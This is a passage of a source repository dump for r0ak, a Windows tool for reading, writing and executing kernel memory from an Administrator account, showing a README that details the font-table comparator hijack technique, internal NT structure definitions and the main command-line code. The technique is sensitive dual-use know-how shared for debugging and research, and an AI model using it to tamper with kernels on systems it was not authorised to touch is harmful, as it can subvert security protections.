├── .gitignore
├── README.md
├── nt.h
├── r0ak-archdiag.png
├── r0ak-demo.png
├── r0ak.c
├── r0ak.h
├── r0ak.sln
├── r0ak.vcxproj
├── r0aketw.c
├── r0akexec.c
├── r0akmem.c
├── r0akrd.c
├── r0akrun.c
├── r0aksym.c
├── r0akutil.c
└── r0akwr.c
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.suo
8 | *.user
9 | *.userosscache
10 | *.sln.docstates
11 |
12 | # User-specific files (MonoDevelop/Xamarin Studio)
13 | *.userprefs
14 |
15 | # Build results
16 | [Dd]ebug/
17 | [Dd]ebugPublic/
18 | [Rr]elease/
19 | [Rr]eleases/
20 | x64/
21 | x86/
22 | bld/
23 | [Bb]in/
24 | [Oo]bj/
25 | [Ll]og/
26 |
27 | # Visual Studio 2015/2017 cache/options directory
28 | .vs/
29 | # Uncomment if you have tasks that create the project's static files in wwwroot
30 | #wwwroot/
31 |
32 | # Visual Studio 2017 auto generated files
33 | Generated\ Files/
34 |
35 | # MSTest test Results
36 | [Tt]est[Rr]esult*/
37 | [Bb]uild[Ll]og.*
38 |
39 | # NUNIT
40 | *.VisualState.xml
41 | TestResult.xml
42 |
43 | # Build Results of an ATL Project
44 | [Dd]ebugPS/
45 | [Rr]eleasePS/
46 | dlldata.c
47 |
48 | # Benchmark Results
49 | BenchmarkDotNet.Artifacts/
50 |
51 | # .NET Core
52 | project.lock.json
53 | project.fragment.lock.json
54 | artifacts/
55 | **/Properties/launchSettings.json
56 |
57 | # StyleCop
58 | StyleCopReport.xml
59 |
60 | # Files built by Visual Studio
61 | *_i.c
62 | *_p.c
63 | *_i.h
64 | *.ilk
65 | *.meta
66 | *.obj
67 | *.iobj
68 | *.pch
69 | *.pdb
70 | *.ipdb
71 | *.pgc
72 | *.pgd
73 | *.rsp
74 | *.sbr
75 | *.tlb
76 | *.tli
77 | *.tlh
78 | *.tmp
79 | *.tmp_proj
80 | *.log
81 | *.vspscc
82 | *.vssscc
83 | .builds
84 | *.pidb
85 | *.svclog
86 | *.scc
87 |
88 | # Chutzpah Test files
89 | _Chutzpah*
90 |
91 | # Visual C++ cache files
92 | ipch/
93 | *.aps
94 | *.ncb
95 | *.opendb
96 | *.opensdf
97 | *.sdf
98 | *.cachefile
99 | *.VC.db
100 | *.VC.VC.opendb
101 |
102 | # Visual Studio profiler
103 | *.psess
104 | *.vsp
105 | *.vspx
106 | *.sap
107 |
108 | # Visual Studio Trace Files
109 | *.e2e
110 |
111 | # TFS 2012 Local Workspace
112 | $tf/
113 |
114 | # Guidance Automation Toolkit
115 | *.gpState
116 |
117 | # ReSharper is a .NET coding add-in
118 | _ReSharper*/
119 | *.[Rr]e[Ss]harper
120 | *.DotSettings.user
121 |
122 | # JustCode is a .NET coding add-in
123 | .JustCode
124 |
125 | # TeamCity is a build add-in
126 | _TeamCity*
127 |
128 | # DotCover is a Code Coverage Tool
129 | *.dotCover
130 |
131 | # AxoCover is a Code Coverage Tool
132 | .axoCover/*
133 | !.axoCover/settings.json
134 |
135 | # Visual Studio code coverage results
136 | *.coverage
137 | *.coveragexml
138 |
139 | # NCrunch
140 | _NCrunch_*
141 | .*crunch*.local.xml
142 | nCrunchTemp_*
143 |
144 | # MightyMoose
145 | *.mm.*
146 | AutoTest.Net/
147 |
148 | # Web workbench (sass)
149 | .sass-cache/
150 |
151 | # Installshield output folder
152 | [Ee]xpress/
153 |
154 | # DocProject is a documentation generator add-in
155 | DocProject/buildhelp/
156 | DocProject/Help/*.HxT
157 | DocProject/Help/*.HxC
158 | DocProject/Help/*.hhc
159 | DocProject/Help/*.hhk
160 | DocProject/Help/*.hhp
161 | DocProject/Help/Html2
162 | DocProject/Help/html
163 |
164 | # Click-Once directory
165 | publish/
166 |
167 | # Publish Web Output
168 | *.[Pp]ublish.xml
169 | *.azurePubxml
170 | # Note: Comment the next line if you want to checkin your web deploy settings,
171 | # but database connection strings (with potential passwords) will be unencrypted
172 | *.pubxml
173 | *.publishproj
174 |
175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
176 | # checkin your Azure Web App publish settings, but sensitive information contained
177 | # in these scripts will be unencrypted
178 | PublishScripts/
179 |
180 | # NuGet Packages
181 | *.nupkg
182 | # The packages folder can be ignored because of Package Restore
183 | **/[Pp]ackages/*
184 | # except build/, which is used as an MSBuild target.
185 | !**/[Pp]ackages/build/
186 | # Uncomment if necessary however generally it will be regenerated when needed
187 | #!**/[Pp]ackages/repositories.config
188 | # NuGet v3's project.json files produces more ignorable files
189 | *.nuget.props
190 | *.nuget.targets
191 |
192 | # Microsoft Azure Build Output
193 | csx/
194 | *.build.csdef
195 |
196 | # Microsoft Azure Emulator
197 | ecf/
198 | rcf/
199 |
200 | # Windows Store app package directories and files
201 | AppPackages/
202 | BundleArtifacts/
203 | Package.StoreAssociation.xml
204 | _pkginfo.txt
205 | *.appx
206 |
207 | # Visual Studio cache files
208 | # files ending in .cache can be ignored
209 | *.[Cc]ache
210 | # but keep track of directories ending in .cache
211 | !*.[Cc]ache/
212 |
213 | # Others
214 | ClientBin/
215 | ~$*
216 | *~
217 | *.dbmdl
218 | *.dbproj.schemaview
219 | *.jfm
220 | *.pfx
221 | *.publishsettings
222 | orleans.codegen.cs
223 |
224 | # Including strong name files can present a security risk
225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
226 | #*.snk
227 |
228 | # Since there are multiple workflows, uncomment next line to ignore bower_components
229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
230 | #bower_components/
231 |
232 | # RIA/Silverlight projects
233 | Generated_Code/
234 |
235 | # Backup & report files from converting an old project file
236 | # to a newer Visual Studio version. Backup files are not needed,
237 | # because we have git ;-)
238 | _UpgradeReport_Files/
239 | Backup*/
240 | UpgradeLog*.XML
241 | UpgradeLog*.htm
242 | ServiceFabricBackup/
243 | *.rptproj.bak
244 |
245 | # SQL Server files
246 | *.mdf
247 | *.ldf
248 | *.ndf
249 |
250 | # Business Intelligence projects
251 | *.rdl.data
252 | *.bim.layout
253 | *.bim_*.settings
254 | *.rptproj.rsuser
255 |
256 | # Microsoft Fakes
257 | FakesAssemblies/
258 |
259 | # GhostDoc plugin setting file
260 | *.GhostDoc.xml
261 |
262 | # Node.js Tools for Visual Studio
263 | .ntvs_analysis.dat
264 | node_modules/
265 |
266 | # Visual Studio 6 build log
267 | *.plg
268 |
269 | # Visual Studio 6 workspace options file
270 | *.opt
271 |
272 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
273 | *.vbw
274 |
275 | # Visual Studio LightSwitch build output
276 | **/*.HTMLClient/GeneratedArtifacts
277 | **/*.DesktopClient/GeneratedArtifacts
278 | **/*.DesktopClient/ModelManifest.xml
279 | **/*.Server/GeneratedArtifacts
280 | **/*.Server/ModelManifest.xml
281 | _Pvt_Extensions
282 |
283 | # Paket dependency manager
284 | .paket/paket.exe
285 | paket-files/
286 |
287 | # FAKE - F# Make
288 | .fake/
289 |
290 | # JetBrains Rider
291 | .idea/
292 | *.sln.iml
293 |
294 | # CodeRush
295 | .cr/
296 |
297 | # Python Tools for Visual Studio (PTVS)
298 | __pycache__/
299 | *.pyc
300 |
301 | # Cake - Uncomment if you are using it
302 | # tools/**
303 | # !tools/packages.config
304 |
305 | # Tabs Studio
306 | *.tss
307 |
308 | # Telerik's JustMock configuration file
309 | *.jmconfig
310 |
311 | # BizTalk build output
312 | *.btp.cs
313 | *.btm.cs
314 | *.odx.cs
315 | *.xsd.cs
316 |
317 | # OpenCover UI analysis results
318 | OpenCover/
319 |
320 | # Azure Stream Analytics local run output
321 | ASALocalRun/
322 |
323 | # MSBuild Binary and Structured Log
324 | *.binlog
325 |
326 | # NVidia Nsight GPU debugger configuration file
327 | *.nvuser
328 |
329 | # MFractors (Xamarin productivity tool) working folder
330 | .mfractor/
331 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # r0ak
2 |
3 | r0ak is a Windows command-line utility that enables you to easily read, write, and execute kernel-mode code (with some limitations) from the command prompt, without requiring anything else other than Administrator privileges.
4 |
5 | ## Quick Peek
6 |
7 | ```
8 | r0ak v1.0.0 -- Ring 0 Army Knife
9 | http://www.github.com/ionescu007/r0ak
10 | Copyright (c) 2018 Alex Ionescu [@aionescu]
11 | http://www.windows-internals.com
12 |
13 | USAGE: r0ak.exe
14 | [--execute
]
15 | [--write ]
16 | [--read ]
17 | ```
18 |
19 | 
20 |
21 | ## Introduction
22 |
23 | ### Motivation
24 |
25 | The Windows kernel is a rich environment in which hundreds of drivers execute on a typical system, and where thousands of variables containing global state are present. For advanced troubleshooting, IT experts will typically use tools such as the Windows Debugger (WinDbg), SysInternals Tools, or write their own. Unfortunately, usage of these tools is getting increasingly hard, and they are themselves limited by their own access to Windows APIs and exposed features.
26 |
27 | Some of today's challenges include:
28 |
29 | * Windows 8 and later support Secure Boot, which prevents kernel debugging (including local debugging) and loading of test-signed driver code. This restricts troubleshooting tools to those that have a signed kernel-mode driver.
30 | * Even on systems without Secure Boot enabled, enabling local debugging or changing boot options which ease debugging capabilities will often trigger BitLocker's recovery mode.
31 | * Windows 10 Anniversary Update and later include much stricter driver signature requirements, which now enforce Microsoft EV Attestation Signing. This restricts the freedom of software developers as generic "read-write-everything" drivers are frowned upon.
32 | * Windows 10 Spring Update now includes customer-facing options for enabling HyperVisor Code Integrity (HVCI) which further restricts allowable drivers and blacklists multiple 3rd party drivers that had "read-write-everything" capabilities due to poorly written interfaces and security risks.
33 | * Technologies like Supervisor Mode Execution Prevention (SMEP), Kernel Control Flow Guard (KCFG) and HVCI with Second Level Address Translation (SLAT) are making traditional Ring 0 execution 'tricks' obsoleted, so a new approach is needed.
34 |
35 | In such an environment, it was clear that a simple tool which can be used as an emergency band-aid/hotfix and to quickly troubleshoot kernel/system-level issues which may be apparent by analyzing kernel state might be valuable for the community.
36 |
37 | ### How it Works
38 |
39 | #### Basic Architecture
40 |
41 | 
42 |
43 | r0ak works by redirecting the execution flow of the window manager's trusted font validation checks when attempting to load a new font, by replacing the trusted font table's comparator routine with an alternate function which schedules an executive work item (`WORK_QUEUE_ITEM`) stored in the input node. Then, the trusted font table's right child (which serves as the root node) is overwritten with a named pipe's write buffer (`NP_DATA_ENTRY`) in which a custom work item is stored. This item's underlying worker function and its parameter are what will eventually be executed by a dedicated `ExpWorkerThread` at `PASSIVE_LEVEL` once a font load is attempted and the comparator routine executes, receiving the name pipe-backed parent node as its input. A real-time Event Tracing for Windows (ETW) trace event is used to receive an asynchronous notification that the work item has finished executing, which makes it safe to tear down the structures, free the kernel-mode buffers, and restore normal operation.
44 |
45 | #### Supported Commands
46 |
47 | When using the `--execute` option, this function and parameter are supplied by the user.
48 |
49 | When using `--write`, a custom gadget is used to modify arbitrary 32-bit values anywhere in kernel memory.
50 |
51 | When using `--read`, the write gadget is used to modify the system's HSTI buffer pointer and size (__**N.B.: This is destructive behavior in terms of any other applications that will request the HSTI data. As this is optional Windows behavior, and this tool is meant for emergency debugging/experimentation, this loss of data was considered acceptable**__). Then, the HSTI Query API is used to copy back into the tool's user-mode address space, and a hex dump is shown.
52 |
53 | Because only built-in, Microsoft-signed, Windows functionality is used, and all called functions are part of the KCFG bitmap, there is no violation of any security checks, and no debugging flags are required, or usage of 3rd party poorly-written drivers.
54 |
55 | ### FAQ
56 |
57 | #### Is this a bug/vulnerability in Windows?
58 |
59 | No. Since this tool -- and the underlying technique -- require a SYSTEM-level privileged token, which can only be obtained by a user running under the Administrator account, no security boundaries are being bypassed in order to achieve the effect. The behavior and utility of the tool is only possible due to the elevated/privileged security context of the Administrator account on Windows, and is understood to be a by-design behavior.
60 |
61 | #### Was Microsoft notified about this behavior?
62 |
63 | Of course! It's important to always file security issues with Microsoft even when no violation of privileged boundaries seems to have occurred -- their teams of researchers and developers might find novel vectors and ways to reach certain code paths which an external researcher may not have thought of.
64 |
65 | As such, in November 2014, a security case was filed with the Microsoft Security Research Centre (MSRC) which responded:
66 | "*[…] doesn't fall into the scope of a security issue we would address via our traditional Security Bulletin vehicle. It […] pre-supposes admin privileges -- a place where architecturally, we do not currently define a defensible security boundary. As such, we won't be pursuing this to fix.*"
67 |
68 | Furthermore, in April 2015 at the Infiltrate conference, a talk titled *Insection : AWEsomely Exploiting Shared Memory Objects* was presented detailing this issue, including to Microsoft developers in attendance, which agreed this was currently out of scope of Windows's architectural security boundaries. This is because there are literally dozens -- if not more -- of other ways an Administrator can read/write/execute Ring 0 memory. This tool merely allows an easy commodification of one such vector, for purposes of debugging and troubleshooting system issues.
69 |
70 | #### Can't this be packaged up as part of end-to-end attack/exploit kit?
71 |
72 | Packaging this code up as a library would require carefully removing all interactive command-line parsing and standard output, at which point, without major rewrites, the 'kit' would:
73 |
74 | * Require the target machine to be running Windows 10 Anniversary Update x64 or later
75 | * Have already elevated privileges to SYSTEM
76 | * Require an active Internet connection with a proxy/firewall allowing access to Microsoft's Symbol Server
77 | * Require the Windows SDK/WDK installed on the target machine
78 | * Require a sensible _NT_SYMBOL_PATH environment variable to have been configured on the target machine, and for about 15MB of symbol data to be downloaded and cached as PDB files somewhere on the disk
79 |
80 | Attackers interested in using this particular approach -- versus very many others more cross-compatible, no-SYSTEM-right-requiring techniques -- likely already adapted their own code based on the Proof-of-Concept from April 2015 -- more than 3 years ago.
81 |
82 | ## Usage
83 |
84 | ### Requirements
85 |
86 | Due to the usage of the Windows Symbol Engine, you must have either the Windows Software Development Kit (SDK) or Windows Driver Kit (WDK) installed with the Debugging Tools for Windows. The tool will lookup your installation path automatically, and leverage the `DbgHelp.dll` and `SymSrv.dll` that are present in that directory. As these files are not re-distributable, they cannot be included with the release of the tool.
87 |
88 | Alternatively, if you obtain these libraries on your own, you can modify the source-code to use them.
89 |
90 | Usage of symbols requires an Internet connection, unless you have pre-cached them locally. Additionally, you should setup the `_NT_SYMBOL_PATH` variable pointing to an appropriate symbol server and cached location.
91 |
92 | It is assumed that an IT Expert or other troubleshooter which apparently has a need to read/write/execute kernel memory (and has knowledge of the appropriate kernel variables to access) is already more than intimately familiar with the above setup requirements. Please do not file issues asking what the SDK is or how to set an environment variable.
93 |
94 | ### Use Cases
95 |
96 | * Some driver leaked kernel pool? Why not call `ntoskrnl.exe!ExFreePool` and pass in the kernel address that's leaking? What about an object reference? Go call `ntoskrnl.exe!ObfDereferenceObject` and have that cleaned up.
97 |
98 | * Want to dump the kernel DbgPrint log? Why not dump the internal circular buffer at `ntoskrnl.exe!KdPrintCircularBuffer`
99 |
100 | * Wondering how big the kernel stacks are on your machine? Try looking at `ntoskrnl.exe!KeKernelStackSize`
101 |
102 | * Want to dump the system call table to look for hooks? Go print out `ntoskrnl.exe!KiServiceTable`
103 |
104 | These are only a few examples -- all Ring 0 addresses are accepted, either by `module!symbol` syntax or directly passing the kernel pointer if known. The Windows Symbol Engine is used to look these up.
105 |
106 | ### Limitations
107 |
108 | The tool requires certain kernel variables and functions that are only known to exist in modern versions of Windows 10, and was only meant to work on 64-bit systems. These limitations are due to the fact that on older systems (or x86 systems), these stricter security requirements don't exist, and as such, more traditional approaches can be used instead. This is a personal tool which I am making available, and I had no need for these older systems, where I could use a simple driver instead. That being said, this repository accepts pull requests, if anyone is interested in porting it.
109 |
110 | Secondly, due to the use cases and my own needs, the following restrictions apply:
111 | * Reads -- Limited to 4 GB of data at a time
112 | * Writes -- Limited to 32-bits of data at a time
113 | * Executes -- Limited to functions which only take 1 scalar parameter
114 |
115 | Obviously, these limitations could be fixed by programmatically choosing a different approach, but they fit the needs of a command line tool and my use cases. Again, pull requests are accepted if others wish to contribute their own additions.
116 |
117 | Note that all execution (including execution of the `--read` and `--write` commands) occurs in the context of a System Worker Thread at `PASSIVE_LEVEL`. Therefore, user-mode addresses should not be passed in as parameters/arguments.
118 |
119 | ## Contributing
120 |
121 | Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
122 |
123 | ## License
124 | ```
125 | Copyright 2018 Alex Ionescu. All rights reserved.
126 |
127 | Redistribution and use in source and binary forms, with or without modification, are permitted provided
128 | that the following conditions are met:
129 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and
130 | the following disclaimer.
131 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions
132 | and the following disclaimer in the documentation and/or other materials provided with the
133 | distribution.
134 |
135 | THIS SOFTWARE IS PROVIDED BY ALEX IONESCU ``AS IS'' AND ANY EXPRESS OR IMPLIED
136 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
137 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ALEX IONESCU
138 | OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
139 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
140 | OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
141 | AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
142 | NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
143 | ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
144 |
145 | The views and conclusions contained in the software and documentation are those of the authors and
146 | should not be interpreted as representing official policies, either expressed or implied, of Alex Ionescu.
147 |
--------------------------------------------------------------------------------
/nt.h:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | nt.h
8 |
9 | Abstract:
10 |
11 | This header defines internal NT data structures and routines used by r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include
24 |
25 | NTSYSAPI
26 | NTSTATUS
27 | NTAPI
28 | RtlAdjustPrivilege (
29 | _In_ ULONG Privilege,
30 | _In_ BOOLEAN NewValue,
31 | _In_ BOOLEAN ForThread,
32 | _Out_ PBOOLEAN OldValue
33 | );
34 |
35 | NTSYSAPI
36 | NTSTATUS
37 | NTAPI
38 | ZwOpenSection (
39 | _Out_ PHANDLE SectionHandle,
40 | _In_ ACCESS_MASK DesiredAccess,
41 | _In_ POBJECT_ATTRIBUTES ObjectAttributes
42 | );
43 |
44 | typedef struct _WORK_QUEUE_ITEM
45 | {
46 | LIST_ENTRY List;
47 | PVOID WorkerRoutine;
48 | PVOID Parameter;
49 | } WORK_QUEUE_ITEM, *PWORK_QUEUE_ITEM;
50 |
51 | typedef struct _RTL_BALANCED_LINKS
52 | {
53 | struct _RTL_BALANCED_LINKS *Parent;
54 | struct _RTL_BALANCED_LINKS *LeftChild;
55 | struct _RTL_BALANCED_LINKS *RightChild;
56 | CHAR Balance;
57 | UCHAR Reserved[3];
58 | } RTL_BALANCED_LINKS;
59 | typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
60 |
61 | typedef struct _RTL_AVL_TABLE
62 | {
63 | RTL_BALANCED_LINKS BalancedRoot;
64 | PVOID OrderedPointer;
65 | ULONG WhichOrderedElement;
66 | ULONG NumberGenericTableElements;
67 | ULONG DepthOfTree;
68 | PRTL_BALANCED_LINKS RestartKey;
69 | ULONG DeleteCount;
70 | PVOID CompareRoutine;
71 | PVOID AllocateRoutine;
72 | PVOID FreeRoutine;
73 | PVOID TableContext;
74 | } RTL_AVL_TABLE;
75 | typedef RTL_AVL_TABLE *PRTL_AVL_TABLE;
76 |
77 | typedef struct tagXSGLOBALS
78 | {
79 | PVOID NetworkFontsTableLock;
80 | PRTL_AVL_TABLE NetworkFontsTable;
81 | PVOID TrustedFontsTableLock;
82 | PRTL_AVL_TABLE TrustedFontsTable;
83 | } XSGLOBALS, *PXSGLOBALS;
84 |
85 | #pragma warning(push)
86 | #pragma warning(disable:4214)
87 | #pragma warning(disable:4201)
88 | typedef struct _SYSTEM_BIGPOOL_ENTRY
89 | {
90 | union
91 | {
92 | PVOID VirtualAddress;
93 | ULONG_PTR NonPaged : 1;
94 | };
95 | ULONGLONG SizeInBytes;
96 | union
97 | {
98 | UCHAR Tag[4];
99 | ULONG TagUlong;
100 | };
101 | } SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;
102 | #pragma warning(pop)
103 |
104 | typedef struct _SYSTEM_BIGPOOL_INFORMATION
105 | {
106 | ULONG Count;
107 | SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
108 | } SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;
109 |
110 | #define SE_DEBUG_PRIVILEGE 20
111 | #define SystemBigPoolInformation (SYSTEM_INFORMATION_CLASS)66
112 | #define SystemHardwareSecurityTestInterfaceResultsInformation (SYSTEM_INFORMATION_CLASS)166
113 | #define PERF_WORKER_THREAD 0x48000000
114 | #define EVENT_TRACE_GROUP_THREAD 0x0500
115 | #define PERFINFO_LOG_TYPE_WORKER_THREAD_ITEM_END (EVENT_TRACE_GROUP_THREAD | 0x41)
116 |
117 |
--------------------------------------------------------------------------------
/r0ak-archdiag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/codingtest/r0ak/919338f4e88036c6a46a3a839f409efe38852415/r0ak-archdiag.png
--------------------------------------------------------------------------------
/r0ak-demo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/codingtest/r0ak/919338f4e88036c6a46a3a839f409efe38852415/r0ak-demo.png
--------------------------------------------------------------------------------
/r0ak.c:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0ak.c
8 |
9 | Abstract:
10 |
11 | This module implements the main command line interface for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #include "r0ak.h"
24 |
25 | _Success_(return != 0)
26 | BOOL
27 | CmdParseInputParameters (
28 | _In_ PCHAR Arguments[],
29 | _Out_ PVOID* Function,
30 | _Out_ PULONG_PTR FunctionArgument
31 | )
32 | {
33 | PVOID functionPointer;
34 | PCHAR moduleName, functionName, pBang, functionNameAndModule;
35 |
36 | //
37 | // Check if the user passed in a module!function instead
38 | //
39 | functionPointer = (PVOID)strtoull(Arguments[2], NULL, 0);
40 | if (functionPointer == NULL)
41 | {
42 | //
43 | // Separate out the module name from the symbol name
44 | //
45 | functionNameAndModule = Arguments[2];
46 | pBang = strchr(functionNameAndModule, '!');
47 | if (pBang == NULL)
48 | {
49 | printf("[-] Malformed symbol string: %s\n",
50 | Arguments[2]);
51 | return FALSE;
52 | }
53 |
54 | //
55 | // Now get the remaining function name
56 | //
57 | functionName = pBang + 1;
58 | *pBang = ANSI_NULL;
59 | moduleName = functionNameAndModule;
60 |
61 | //
62 | // Get the symbol requested
63 | //
64 | functionPointer = SymLookup(moduleName, functionName);
65 | if (functionPointer == NULL)
66 | {
67 | printf("[-] Could not find symbol!\n");
68 | return FALSE;
69 | }
70 | }
71 |
72 | //
73 | // Return the data back
74 | //
75 | *Function = functionPointer;
76 | *FunctionArgument = strtoull(Arguments[3], NULL, 0);
77 | return TRUE;
78 | }
79 |
80 | INT
81 | main (
82 | _In_ INT ArgumentCount,
83 | _In_ PCHAR Arguments[]
84 | )
85 | {
86 | PKERNEL_EXECUTE kernelExecute;
87 | BOOL b;
88 | ULONG_PTR kernelValue;
89 | PVOID kernelPointer;
90 | INT errValue;
91 |
92 | //
93 | // Print header
94 | //
95 | printf("r0ak v1.0.0 -- Ring 0 Army Knife\n");
96 | printf("http://www.github.com/ionescu007/r0ak\n");
97 | printf("Copyright (c) 2018 Alex Ionescu [@aionescu]\n");
98 | printf("http://www.windows-internals.com\n\n");
99 | kernelExecute = NULL;
100 | errValue = -1;
101 |
102 | //
103 | // We need four arguments
104 | //
105 | if (ArgumentCount != 4)
106 | {
107 | printf("USAGE: r0ak.exe\n"
108 | " [--execute ]\n"
109 | " [--write ]\n"
110 | " [--read ]\n");
111 | goto Cleanup;
112 | }
113 |
114 | //
115 | // Initialize symbol engine
116 | //
117 | b = SymSetup();
118 | if (b == FALSE)
119 | {
120 | printf("[-] Failed to initialize Symbol Engine\n");
121 | goto Cleanup;
122 | }
123 |
124 | //
125 | // Initialize our execution engine
126 | //
127 | b = KernelExecuteSetup(&kernelExecute, g_TrampolineFunction);
128 | if (b == FALSE)
129 | {
130 | printf("[-] Failed to setup Ring 0 execution engine\n");
131 | goto Cleanup;
132 | }
133 |
134 | //
135 | // Caller wants to execute their own routine
136 | //
137 | if (strstr(Arguments[1], "--execute"))
138 | {
139 | //
140 | // Get the initial inputs
141 | //
142 | b = CmdParseInputParameters(Arguments, &kernelPointer, &kernelValue);
143 | if (b == FALSE)
144 | {
145 | goto Cleanup;
146 | }
147 |
148 | //
149 | // Execute it
150 | //
151 | b = CmdExecuteKernel(kernelExecute, kernelPointer, kernelValue);
152 | if (b == FALSE)
153 | {
154 | printf("[-] Failed to execute function\n");
155 | goto Cleanup;
156 | }
157 |
158 | //
159 | // It's now safe to exit/cleanup state
160 | //
161 | printf("[+] Function executed successfuly!\n");
162 | errValue = 0;
163 | }
164 | else if (strstr(Arguments[1], "--write"))
165 | {
166 | //
167 | // Get the initial inputs
168 | //
169 | b = CmdParseInputParameters(Arguments, &kernelPointer, &kernelValue);
170 | if (b == FALSE)
171 | {
172 | goto Cleanup;
173 | }
174 |
175 | //
176 | // Only 32-bit values can be written
177 | //
178 | if (kernelValue > ULONG_MAX)
179 | {
180 | printf("[-] Invalid 64-bit value, r0ak only supports 32-bit\n");
181 | goto Cleanup;
182 | }
183 |
184 | //
185 | // Write it!
186 | //
187 | b = CmdWriteKernel(kernelExecute, kernelPointer, (ULONG)kernelValue);
188 | if (b == FALSE)
189 | {
190 | printf("[-] Failed to write variable\n");
191 | goto Cleanup;
192 | }
193 |
194 | //
195 | // It's now safe to exit/cleanup state
196 | //
197 | printf("[+] Write executed successfuly!\n");
198 | errValue = 0;
199 | }
200 | else if (strstr(Arguments[1], "--read"))
201 | {
202 | //
203 | // Get the initial inputs
204 | //
205 | b = CmdParseInputParameters(Arguments, &kernelPointer, &kernelValue);
206 | if (b == FALSE)
207 | {
208 | goto Cleanup;
209 | }
210 |
211 | //
212 | // Only 4GB of data can be read
213 | //
214 | if (kernelValue > ULONG_MAX)
215 | {
216 | printf("[-] Invalid size, r0ak can only read up to 4GB of data\n");
217 | goto Cleanup;
218 | }
219 |
220 |
221 | //
222 | // Write it!
223 | //
224 | b = CmdReadKernel(kernelExecute, kernelPointer, (ULONG)kernelValue);
225 | if (b == FALSE)
226 | {
227 | printf("[-] Failed to read variable\n");
228 | goto Cleanup;
229 | }
230 |
231 | //
232 | // It's now safe to exit/cleanup state
233 | //
234 | printf("[+] Read executed successfuly!\n");
235 | errValue = 0;
236 | }
237 |
238 | Cleanup:
239 | //
240 | // Teardown the execution engine if we initialized it
241 | //
242 | if (kernelExecute != NULL)
243 | {
244 | KernelExecuteTeardown(kernelExecute);
245 | }
246 | return errValue;
247 | }
248 |
--------------------------------------------------------------------------------
/r0ak.h:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | Copyright (c) Alex Ionescu. All rights reserved.
4 |
5 | Module Name:
6 |
7 | r0ak.h
8 |
9 | Abstract:
10 |
11 | This header defines the main routines and structures for r0ak
12 |
13 | Author:
14 |
15 | Alex Ionescu (@aionescu) 21-Jul-2018 - First public version
16 |
17 | Environment:
18 |
19 | User mode only.
20 |
21 | --*/
22 |
23 | #define UNICODE
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 | #include "nt.h"
35 |
36 | //
37 | // Symbols provided by the symbol engine
38 | //
39 | extern PVOID g_XmFunction;
40 | extern PVOID g_HstiBufferSize;
41 | extern PVOID g_HstiBufferPointer;
42 | extern PVOID g_TrampolineFunction;
43 |
44 | //
45 | // Opaque to callers
46 | //
47 | typedef struct _KERNEL_ALLOC *PKERNEL_ALLOC;
48 | typedef struct _KERNEL_EXECUTE *PKERNEL_EXECUTE;
49 | typedef struct _ETW_DATA *PETW_DATA;
50 |
51 | //
52 | // Symbol Routines
53 | //
54 | _Success_(return != 0)
55 | PVOID
56 | SymLookup (
57 | _In_ PCHAR ModuleName,
58 | _In_ PCHAR SymbolName
59 | );
60 |
61 | _Success_(return != 0)
62 | BOOL
63 | SymSetup (
64 | VOID
65 | );
66 |
67 | //
68 | // Utility Routines
69 | //
70 | VOID
71 | DumpHex (
72 | _In_ LPCVOID Data,
73 | _In_ SIZE_T Size
74 | );
75 |
76 | _Success_(return != 0)
77 | ULONG_PTR
78 | GetDriverBaseAddr (
79 | _In_ PCCH BaseName
80 | );
81 |
82 | _Success_(return != 0)
83 | BOOL
84 | ElevateToSystem (
85 | VOID
86 | );
87 |
88 | //
89 | // Kernel Memory Routines
90 | //
91 | _Success_(return != 0)
92 | PVOID
93 | KernelAlloc (
94 | _Outptr_ PKERNEL_ALLOC* KernelAlloc,
95 | _In_ ULONG Size
96 | );
97 |
98 | _Success_(return != 0)
99 | PVOID
100 | KernelWrite (
101 | _In_ PKERNEL_ALLOC KernelAlloc
102 | );
103 |
